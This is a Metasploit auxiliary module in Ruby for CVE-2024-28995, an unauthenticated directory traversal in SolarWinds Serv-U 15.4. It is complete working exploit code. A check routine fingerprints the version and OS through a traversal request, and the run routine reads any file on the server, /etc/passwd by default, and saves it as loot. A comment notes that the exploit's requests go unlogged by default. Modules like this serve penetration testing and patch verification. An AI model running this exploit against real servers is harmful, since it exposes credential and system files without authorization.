## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'SolarWinds Serv-U Unauthenticated Arbitrary File Read', 'Description' => %q{ This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # MSF Module & Rapid7 Analysis 'Hussein Daher' # Original finder ], 'References' => [ ['CVE', '2024-28995'], ['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995'], ['URL', 'https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis'] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], # There are no side effects I could determine. By default there is no logging enabled by Serv-U, and in # testing I was not able to enable logging such that any of the exploits requests were actually logged. If # a reverse proxy/gateway is in place that will likely be able to log attacker requests, but that is not a # default setup. 'SideEffects' => [], 'Reliability' => [] } ) ) register_options( [ OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]), OptString.new('TARGETURI', [true, 'The base URI path to the web application', '/']), OptString.new('TARGETFILE', [true, 'The full path of a target file to read.', '/etc/passwd']), OptInt.new('PATH_TRAVERSAL_COUNT', [true, 'The number of double dot (..) path segments needed to traverse to the root folder.', 4]), ] ) end def check # We try to leverage the vulnerability and read the file `Serv-U-StartupLog.txt` from the default location in # a default install on both Linux and Windows. If successful, we can pull out the Serv-U version number and the # OS version. By default, the location of the `Serv-U-StartupLog.txt` file is # `C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt` on Windows, and `/usr/local/Serv-U/Serv-U-StartupLog.txt` # on Linux. default_paths = [ '\\..', '/../../../../ProgramData/RhinoSoft/Serv-U' ] default_paths.each do |default_path| res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_get' => { 'InternalDir' => default_path, 'InternalFile' => 'Serv-U-StartupLog.txt' } ) return Msf::Exploit::CheckCode::Unknown('Connection failed') unless res next unless res.code == 200 version = res.body.match(/Serv-U.+Version.+\(([\d+.]{1,})\)/) next unless version os = res.body.match(/Operating System:\s+(.+)/) return Msf::Exploit::CheckCode::Vulnerable("SolarWinds Serv-U version #{version[1]} (#{os.nil? ? 'Unknown OS' : os[1]})") end Msf::Exploit::CheckCode::Safe end def run if datastore['TARGETFILE'].start_with? '/' native_path_sep = '/' target_path_sep = '\\' target_filepath = datastore['TARGETFILE'] elsif datastore['TARGETFILE'][1, 3] == ':\\\\' native_path_sep = '\\' target_path_sep = '/' target_filepath = datastore['TARGETFILE'][3..] else fail_with(Failure::BadConfig, 'Ensure the TARGETFILE path starts with / for a Linux target, and C:\\\\ for a Windows target.') end # On Windows, the default install directory is: C:\ProgramData\RhinoSoft\Serv-U\ # On Linux, the default install directory is: /usr/local/Serv-U/ # The Serv-U service, will read files from the Client directory, so /usr/local/Serv-U/Client/ on Linux # and C:\ProgramData\RhinoSoft\Serv-U\Client\ on Windows. # Therefore to leverage the directory traversal and navigate to the root folder on either platform will require # 4 double dot path segments. # We expose PATH_TRAVERSAL_COUNT to the user in case they are targeting a non default install location. path_traversal = "#{target_path_sep}.." * datastore['PATH_TRAVERSAL_COUNT'] last_sep_pos = target_filepath.rindex(native_path_sep) fail_with(Failure::BadConfig, 'Could not locate a path separator in the TARGETFILE path') unless last_sep_pos if last_sep_pos == 0 internal_dir = '' else internal_dir = target_filepath[0..last_sep_pos - 1].gsub(native_path_sep, target_path_sep) end internal_file = target_filepath[last_sep_pos + 1..] print_status("Reading file #{datastore['TARGETFILE']}") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_get' => { 'InternalDir' => path_traversal << internal_dir, 'InternalFile' => internal_file } ) fail_with(Failure::UnexpectedReply, 'Connection failed') unless res fail_with(Failure::UnexpectedReply, "Unexpected response from server. HTTP code #{res.code}.") unless res.code == 200 if datastore['STORE_LOOT'] print_status('Storing the file data to loot...') store_loot( internal_file, res.body.ascii_only? ? 'text/plain' : 'application/octet-stream', datastore['RHOST'], res.body, datastore['TARGETFILE'], 'File read from SolarWinds Serv-U server' ) else print_line(res.body) end end end